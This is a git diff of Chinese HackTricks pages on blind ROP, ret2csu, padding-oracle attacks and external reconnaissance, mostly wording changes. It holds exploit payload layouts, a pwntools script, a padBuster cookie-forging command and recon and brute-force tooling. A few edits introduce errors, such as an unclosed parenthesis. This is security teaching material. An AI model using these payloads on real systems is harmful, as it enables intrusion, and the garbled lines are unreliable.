**`strcmp`** 函数将寄存器 **`rdx`** 设置为正在比较的字符串的长度。注意 **`rdx`** 是**第三个参数**,我们需要它**大于 0**,以便稍后使用 `write` 来泄露程序。
|
||||
**`strcmp`** 函数将寄存器 **`rdx`** 设置为正在比较的字符串的长度。请注意,**`rdx`** 是**第三个参数**,我们需要它**大于 0**,以便稍后使用 `write` 来泄露程序。
|
||||
|
||||
可以根据其行为在 PLT 中找到 **`strcmp`** 的位置,利用我们现在可以控制函数的前两个参数的事实:
|
||||
可以基于其行为找到 **`strcmp`** 在 PLT 中的位置,利用我们现在可以控制函数的前两个参数的事实:
|
||||
|
||||
* strcmp(\<非读取地址>, \<非读取地址>) -> 崩溃
|
||||
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
||||
* strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
|
||||
* strcmp(\<读取地址>, \<读取地址>) -> 不崩溃
|
||||
|
||||
可以通过调用 PLT 表的每个条目或使用**PLT 慢路径**来检查这一点,慢路径基本上是**调用 PLT 表中的一个条目 + 0xb**(这会调用**`dlresolve`**),然后在栈中跟随**希望探测的条目编号**(从零开始)以扫描所有 PLT 条目:
|
||||
可以通过调用 PLT 表的每个条目或使用**PLT 慢路径**来检查这一点,慢路径基本上是**调用 PLT 表中的一个条目 + 0xb**(这会调用**`dlresolve`**),然后在堆栈中跟随**希望探测的条目编号**(从零开始)以扫描所有 PLT 条目:
|
||||
|
||||
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃
|
||||
|
@ -92,7 +92,7 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
* strcmp(\<读取地址>, \<读取地址>) -> 不崩溃
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
记住:
|
||||
请记住:
|
||||
|
||||
* BROP + 0x7 指向 **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 指向 **`pop RDI; ret;`**
|
||||
|
@ -101,7 +101,7 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
找到 `strcmp` 后,可以将 **`rdx`** 设置为大于 0 的值。
|
||||
|
||||
{% hint style="success" %}
|
||||
注意,通常 `rdx` 会已经包含一个大于 0 的值,因此这一步可能不是必要的。
|
||||
请注意,通常 `rdx` 会已经包含一个大于 0 的值,因此这一步可能不是必要的。
|
||||
{% endhint %}
|
||||
|
||||
### 8. 找到 Write 或等效函数
|
||||
|
@ -112,7 +112,7 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data))`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
然而,原始论文只提到**`write`**,所以让我们谈谈它:
|
||||
|
||||
|
@ -120,7 +120,7 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
|
||||
然而,我们知道**PLT 表的位置**,并且可以根据其**行为**找到 write。我们可以与服务器创建**多个连接**,并使用一个**高 FD**,希望它与我们的一些连接匹配。
|
||||
|
||||
找到这些函数的行为签名:
|
||||
找到这些函数的行为特征:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了 puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了 dprintf
|
||||
|
@ -136,16 +136,16 @@ PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如
|
|||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -21,7 +21,7 @@
|
|||
|
||||
**ret2csu** 是一种黑客技术,当你试图控制一个程序但找不到通常用来操纵程序行为的 **gadgets** 时使用。
|
||||
|
||||
当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__libc_csu_init` 的函数。
|
||||
当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。这些函数中有一些隐藏的宝藏,可以作为我们缺失的 gadgets,特别是一个叫 `__libc_csu_init` 的函数。
|
||||
|
||||
### \_\_libc\_csu\_init 中的魔法 gadgets
|
||||
|
||||
|
@ -40,7 +40,7 @@ ret;
|
|||
这个小工具允许我们通过从栈中弹出值来控制这些寄存器。
|
||||
|
||||
2. 第二个序列使用我们设置的值来做几件事情:
|
||||
* **将特定值移动到其他寄存器中**,使它们准备好作为函数中的参数使用。
|
||||
* **将特定值移动到其他寄存器中**,使它们准备好作为函数的参数使用。
|
||||
* **执行对一个位置的调用**,该位置由将 r15 和 rbx 中的值相加,然后将 rbx 乘以 8 来确定。
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
|
@ -48,7 +48,7 @@ mov rsi, r14;
|
|||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
3. 也许你不知道要写入的地址,并且你**需要一个 `ret` 指令**。请注意,第二个 gadget 也将**以 `ret` 结束**,但你需要满足一些**条件**才能到达它:
|
||||
3. 也许你不知道要写入哪个地址,并且你**需要一个 `ret` 指令**。请注意,第二个 gadget 也将**以 `ret` 结束**,但你需要满足一些**条件**才能到达它:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -78,9 +78,9 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
## RDI 和 RSI
|
||||
|
||||
通过访问特定的偏移量,从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是:
|
||||
从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
查看此页面以获取更多信息:
|
||||
|
||||
|
@ -92,7 +92,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
### 使用调用
|
||||
|
||||
想象一下,您想要进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中作为参数的特定值。通常,您会寻找直接设置这些寄存器的 gadgets,但您找不到任何。
|
||||
想象一下,您想要进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中作为参数的特定值。通常,您会寻找直接设置这些寄存器的 gadget,但您找不到任何。
|
||||
|
||||
这时 **ret2csu** 发挥作用:
|
||||
|
||||
|
@ -181,4 +181,4 @@ target.interactive()
|
|||
```
|
||||
### 为什么不直接使用libc?
|
||||
|
||||
通常这些情况也容易受到[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)的攻击,但有时你需要控制的参数比直接在libc中找到的gadgets更复杂。例如,`write()`函数需要三个参数,而**直接找到设置所有这些的gadgets可能是不可能的**。
|
||||
通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) 的攻击,但有时你需要控制比直接在libc中找到的gadgets更多的参数。例如,`write()` 函数需要三个参数,而**直接找到设置所有这些的gadgets可能是不可能的**。
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Padding Oracle
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,8 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - 密码块链接
|
||||
|
@ -25,7 +23,7 @@
|
|||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
要解密 CBC,执行**相反的** **操作**:
|
||||
要解密 CBC,需进行**相反的** **操作**:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
|
@ -47,7 +45,7 @@
|
|||
|
||||
注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。
|
||||
|
||||
## 填充 oracle
|
||||
## Padding Oracle
|
||||
|
||||
当一个应用程序解密加密数据时,它会首先解密数据;然后它会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
|
||||
|
||||
|
@ -75,12 +73,12 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
```
|
||||
### 理论
|
||||
|
||||
**总结**,你可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将开始从末尾到开头解密字节,猜测哪个将是**创建填充为1、2、3等**的正确值。
|
||||
**总结**,你可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将开始从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。
|
||||
|
||||
![](<../.gitbook/assets/image (561).png>)
|
||||
|
||||
想象一下你有一些加密文本,占据**2个块**,由**E0到E15**的字节组成。\
|
||||
为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\
|
||||
为了**解密**最后一个**块**(**E8**到**E15**),整个块经过“块密码解密”,生成**中间字节I0到I15**。\
|
||||
最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。所以:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
|
@ -91,13 +89,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
|
||||
|
||||
所以,找到E'7,就可以**计算I15**:`I15 = 0x01 ^ E'7`
|
||||
因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7`
|
||||
|
||||
这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
|
||||
|
||||
这个暴力破解和之前的复杂度一样,因为可以计算出`E''15`的值为0x02:`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\
|
||||
这个暴力破解与之前的复杂,因为可以计算出`E''15`的值为0x02:`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`的**`E'14`。\
|
||||
然后,重复相同的步骤解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**继续这个链条,直到你解密整个加密文本。**
|
||||
|
@ -105,7 +103,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
### 漏洞检测
|
||||
|
||||
注册一个账户并使用该账户登录。\
|
||||
如果你**多次登录**并且总是获得**相同的cookie**,那么应用程序可能存在**问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能总是有效,并且**无法使其失效**。
|
||||
如果你**多次登录**并始终获得**相同的cookie**,那么应用程序可能存在**问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能总是有效,并且**无法使其失效**。
|
||||
|
||||
现在,如果你尝试**修改**该**cookie**,你会看到应用程序返回一个**错误**。\
|
||||
但是如果你暴力破解填充(例如使用padbuster),你可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
|
||||
|
@ -114,13 +112,11 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -128,7 +124,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -27,8 +27,8 @@
|
|||
|
||||
这个阶段的目标是获取**母公司拥有的所有公司**,然后获取这些公司的所有**资产**。为此,我们将:
|
||||
|
||||
1. 查找母公司的收购,这将给我们提供范围内的公司。
|
||||
2. 查找每个公司的 ASN(如果有的话),这将给我们提供每个公司拥有的 IP 范围。
|
||||
1. 找到母公司的收购,这将给我们提供范围内的公司。
|
||||
2. 找到每个公司的 ASN(如果有的话),这将给我们提供每个公司拥有的 IP 范围。
|
||||
3. 使用反向 whois 查询搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。
|
||||
4. 使用其他技术,如 shodan `org` 和 `ssl` 过滤器来搜索其他资产(`ssl` 技巧可以递归进行)。
|
||||
|
||||
|
@ -36,18 +36,18 @@
|
|||
|
||||
首先,我们需要知道**母公司拥有的其他公司**。\
|
||||
一个选项是访问 [https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **母公司**,并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
|
||||
另一个选项是访问母公司的**维基百科**页面并搜索**收购**。
|
||||
另一个选项是访问母公司的 **维基百科** 页面并搜索 **收购**。
|
||||
|
||||
> 好吧,到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自治系统编号(**ASN**)是由**互联网分配号码管理局(IANA)**分配给**自治系统**(AS)的**唯一编号**。\
|
||||
一个**AS**由**IP 地址块**组成,这些地址块具有明确的外部网络访问政策,并由单一组织管理,但可能由多个运营商组成。
|
||||
自治系统编号(**ASN**)是由 **互联网分配号码管理局(IANA)** 分配给 **自治系统**(AS)的 **唯一编号**。\
|
||||
一个 **AS** 由 **IP 地址块** 组成,这些地址块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
|
||||
|
||||
查找**公司是否分配了任何 ASN**以找到其**IP 范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些 IP 内的域名**将是很有趣的。\
|
||||
你可以在 [**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
|
||||
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/)**(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有** 有用的信息 **(IP 范围和 Whois)**可能已经在第一个链接中出现。
|
||||
查找**公司是否分配了任何 ASN** 以找到其 **IP 范围** 是很有趣的。对所有**范围内的主机**进行 **漏洞测试** 并 **查找这些 IP 内的域名** 将是很有意义的。\
|
||||
你可以在 [**https://bgp.he.net/**](https://bgp.he.net)** 中按公司 **名称**、**IP** 或 **域名** 进行 **搜索**。\
|
||||
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/)**(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **(IP 范围和 Whois)** 可能已经在第一个链接中出现。
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -75,8 +75,8 @@ bbot -t tesla.com -f subdomain-enum
|
|||
|
||||
### **寻找漏洞**
|
||||
|
||||
此时我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\
|
||||
此外,您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查看本书以了解如何对多个可能运行的服务进行渗透测试。\
|
||||
在这一点上,我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\
|
||||
此外,您可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查看本书以了解如何对多个可能运行的服务进行渗透测试。\
|
||||
**此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务**。
|
||||
|
||||
## 域名
|
||||
|
@ -89,7 +89,7 @@ _请注意,在以下提出的技术中,您还可以找到子域名,这些
|
|||
|
||||
### **反向 DNS**
|
||||
|
||||
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的一些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
||||
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -101,7 +101,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **反向 Whois(循环)**
|
||||
|
||||
在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
|
||||
在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**,您可以找到 **与公司相关的更多资产**(例如,其他 whois 注册处中出现相同电子邮件的情况)。\
|
||||
您可以使用在线工具,如:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
|
||||
|
@ -117,12 +117,12 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
**请注意,每次找到新域名时,您可以使用此技术发现更多域名。**
|
||||
|
||||
### **跟踪器**
|
||||
### **追踪器**
|
||||
|
||||
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\
|
||||
如果在两个不同页面中找到 **相同的追踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\
|
||||
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。
|
||||
|
||||
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
|
||||
有一些页面和工具可以让您通过这些追踪器和更多内容进行搜索:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -141,11 +141,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
简单来说,favihash 将允许我们发现与我们的目标具有相同 favicon 图标哈希的域。
|
||||
|
||||
此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的网络技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**:
|
||||
此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **一个易受攻击的 web 技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
这是您如何**计算网站的 favicon 哈希**:
|
||||
这是您如何**计算网页的 favicon 哈希**:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -162,9 +162,9 @@ return fhash
|
|||
|
||||
在网页中搜索**可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在**谷歌**、其他**浏览器**或甚至在**shodan**中搜索该字符串:`shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT 时间**
|
||||
### **CRT时间**
|
||||
|
||||
通常会有一个 cron 作业,例如
|
||||
通常会有一个cron作业,例如
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
|
@ -340,7 +340,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您也可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -374,7 +374,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
|||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns):它也使用 `massdns`。
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): 它也使用 `massdns`。
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns):除了生成子域名排列外,它还可以尝试解析它们(但最好使用之前提到的工具)。
|
||||
